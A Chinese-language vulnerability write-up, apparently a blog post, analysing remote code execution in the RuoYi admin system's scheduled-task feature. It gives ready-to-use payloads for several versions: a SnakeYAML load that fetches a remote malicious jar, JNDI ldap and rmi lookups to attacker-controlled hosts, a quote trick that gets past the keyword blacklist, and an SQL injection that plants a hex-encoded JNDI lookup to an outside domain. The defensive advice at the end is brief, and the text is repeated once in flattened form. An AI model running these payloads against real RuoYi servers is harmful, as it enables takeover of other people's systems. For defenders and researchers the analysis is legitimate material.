若依最新版后台RCE
字数 1209 2025-08-18 17:33:34

若依最新版后台RCE漏洞分析与利用

漏洞概述

若依(RuoYi)是一款基于Spring Boot和Vue.js的前后端分离权限管理系统。在最新版本(4.7.8)中,存在一个通过定时任务功能实现远程代码执行(RCE)的漏洞。该漏洞源于定时任务功能对目标类的反射调用机制存在缺陷,攻击者可以通过精心构造的payload绕过黑白名单限制,最终实现任意代码执行。

漏洞原理分析

定时任务实现机制

若依系统的定时任务功能通过反射调用目标类实现,关键代码位于com.ruoyi.quartz.util.JobInvokeUtil类中:

if (!isValidClassName(beanName)) {
    Object bean = SpringUtils.getBean(beanName);
    invokeMethod(bean, methodName, methodParams);
} else {
    Object bean = Class.forName(beanName).newInstance();
    invokeMethod(bean, methodName, methodParams);
}

系统支持两种调用方式:

  1. Bean调用示例:ryTask.ryParams('ry')
  2. Class类调用示例:com.ruoyi.quartz.task.RyTask.ryParams('ry')

漏洞成因

漏洞的核心问题在于:

  1. 反射调用时类名、方法名和参数完全可控
  2. 黑白名单过滤机制存在缺陷,可以被绕过
  3. 定时任务创建时的过滤与执行时的过滤不一致

历史版本漏洞利用

4.6.2版本及以下

在4.6.2及以下版本,定时任务创建时仅简单检查是否包含"rmi://"关键字,攻击者可利用多种方式实现RCE:

1. SnakeYAML反序列化

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]')

攻击步骤:

  1. 准备恶意jar包(可使用artsploit/yaml-payload
  2. 启动HTTP服务托管jar包
  3. 通过定时任务执行上述payload

2. JNDI注入

javax.naming.InitialContext.lookup('ldap://127.0.0.1:8085/calc')

3. RMI注入(4.6.2以下)

org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')

4.7.0-4.7.1版本

这些版本增加了黑名单限制,过滤了ldap、http(s)、rmi等关键字,但可通过单引号绕过:

org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://127.0.0.1:1099/refObj')

绕过原理:系统会将参数中的单引号替换为空,从而绕过关键字检测。

4.7.3版本

增加了白名单限制,只能调用com.ruoyi包下的类,同时修复了之前的绕过方法。

最新版(4.7.8)漏洞利用

虽然最新版加强了黑白名单限制,但仍存在绕过方法:

利用SQL注入修改定时任务

  1. 利用GenController中的SQL注入漏洞直接修改sys_job表中的invoke_target字段:
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729 WHERE job_id = 1;')
  1. 上述payload中的16进制解码后为:
javax.naming.InitialContext.lookup('ldap://xcrlginufj.dgrh3.cn')
  1. 执行被修改的定时任务即可触发RCE

防御措施

  1. 升级到最新版本并应用所有安全补丁
  2. 加强输入验证,对所有用户输入进行严格过滤
  3. 限制反射调用的范围,仅允许必要的类和方法
  4. 实施最小权限原则,限制系统账户权限
  5. 监控系统日志,及时发现异常行为

总结

若依系统的RCE漏洞展示了从直接利用到逐步绕过防护的完整过程。最新版的漏洞利用需要结合SQL注入和定时任务功能,体现了现代Web应用安全中"漏洞链"利用的典型模式。开发者应重视安全设计,而安全人员则应持续关注系统更新和安全公告。

参考资源

  1. 若依官方GitHub
  2. SnakeYAML反序列化分析
  3. yaml-payload项目
  4. 若依漏洞分析文章
若依最新版后台RCE漏洞分析与利用 漏洞概述 若依(RuoYi)是一款基于Spring Boot和Vue.js的前后端分离权限管理系统。在最新版本(4.7.8)中,存在一个通过定时任务功能实现远程代码执行(RCE)的漏洞。该漏洞源于定时任务功能对目标类的反射调用机制存在缺陷,攻击者可以通过精心构造的payload绕过黑白名单限制,最终实现任意代码执行。 漏洞原理分析 定时任务实现机制 若依系统的定时任务功能通过反射调用目标类实现,关键代码位于 com.ruoyi.quartz.util.JobInvokeUtil 类中: 系统支持两种调用方式: Bean调用示例: ryTask.ryParams('ry') Class类调用示例: com.ruoyi.quartz.task.RyTask.ryParams('ry') 漏洞成因 漏洞的核心问题在于: 反射调用时类名、方法名和参数完全可控 黑白名单过滤机制存在缺陷,可以被绕过 定时任务创建时的过滤与执行时的过滤不一致 历史版本漏洞利用 4.6.2版本及以下 在4.6.2及以下版本,定时任务创建时仅简单检查是否包含"rmi://"关键字,攻击者可利用多种方式实现RCE: 1. SnakeYAML反序列化 攻击步骤: 准备恶意jar包(可使用 artsploit/yaml-payload ) 启动HTTP服务托管jar包 通过定时任务执行上述payload 2. JNDI注入 3. RMI注入(4.6.2以下) 4.7.0-4.7.1版本 这些版本增加了黑名单限制,过滤了ldap、http(s)、rmi等关键字,但可通过单引号绕过: 绕过原理:系统会将参数中的单引号替换为空,从而绕过关键字检测。 4.7.3版本 增加了白名单限制,只能调用 com.ruoyi 包下的类,同时修复了之前的绕过方法。 最新版(4.7.8)漏洞利用 虽然最新版加强了黑白名单限制,但仍存在绕过方法: 利用SQL注入修改定时任务 利用 GenController 中的SQL注入漏洞直接修改 sys_job 表中的 invoke_target 字段: 上述payload中的16进制解码后为: 执行被修改的定时任务即可触发RCE 防御措施 升级到最新版本并应用所有安全补丁 加强输入验证,对所有用户输入进行严格过滤 限制反射调用的范围,仅允许必要的类和方法 实施最小权限原则,限制系统账户权限 监控系统日志,及时发现异常行为 总结 若依系统的RCE漏洞展示了从直接利用到逐步绕过防护的完整过程。最新版的漏洞利用需要结合SQL注入和定时任务功能,体现了现代Web应用安全中"漏洞链"利用的典型模式。开发者应重视安全设计,而安全人员则应持续关注系统更新和安全公告。 参考资源 若依官方GitHub SnakeYAML反序列化分析 yaml-payload项目 若依漏洞分析文章